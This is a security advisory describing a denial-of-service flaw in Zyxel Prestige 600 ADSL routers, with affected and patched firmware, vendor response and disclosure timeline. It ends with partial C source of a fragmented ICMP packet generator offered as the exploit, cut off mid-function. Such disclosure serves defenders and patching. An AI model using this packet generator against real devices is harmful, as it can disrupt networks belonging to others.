Zyxel Prestige 600 Series is "a Popular ADSL Modem and Router".
Prestige 600 fails to handle malformed fragmented IP packets. Whenever Prestige stumbles upon such packets its CPU usage will spike to 100% thus causing denial of service.
Vulnerable Systems:
* Prestige 650R-31 running ZyNOS FireWall version 3.40(KO.1)
Immune Systems:
* ZyNOS FireWall version 3.40(GT.5)
Vendor Status:
The vendor claims its not a vulnerability, that is rather a "Hardware Limitation". But seems an the last release of it's firmware fixed the problem.
Patch Availability:
Upgrade the firmware to V3.40(GT.5)
Disclosure Timeline:
* 05.02.05 - Initial vendor notification
* 05.03.05 - Initial vendor response
* 05.08.05 - Vendor determined as a HW limitation
* 05.10.05 - No response from vendor to several mails
Exploit:
Any IP crafting tool will do the job, in this case we used a fragmented ip generator coded by Fryx:
/*
* frag
* by: Fryxar
* e-mail: fryxar@yahoo.com.ar
*
* Fragment ICMP packet generator
*/
unsigned short in_cksum(unsigned short *addr,int len)
{
register int sum = 0;
u_short answer = 0;
register u_short *w = addr;
register int nleft = len;
/*
* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}
int send_packet(int s, struct sockaddr_in saddr, struct sockaddr_in daddr, int protocol, char frags, int id, int frag_len, int tot_len) {
unsigned char packet[IP_MAXPACKET];
struct iphdr *iphdr;
struct icmphdr *icmphdr;
int offset, length;
int start, step;
switch(frags) {
case FRAGS_ALL:
start = 0;
step = (frag_len<<3);
break;
case FRAGS_EVEN:
start = 0;
step = 2*(frag_len<<3);
break;
case FRAGS_ODD:
start = (frag_len<<3);
step = 2*(frag_len<<3);
break;
}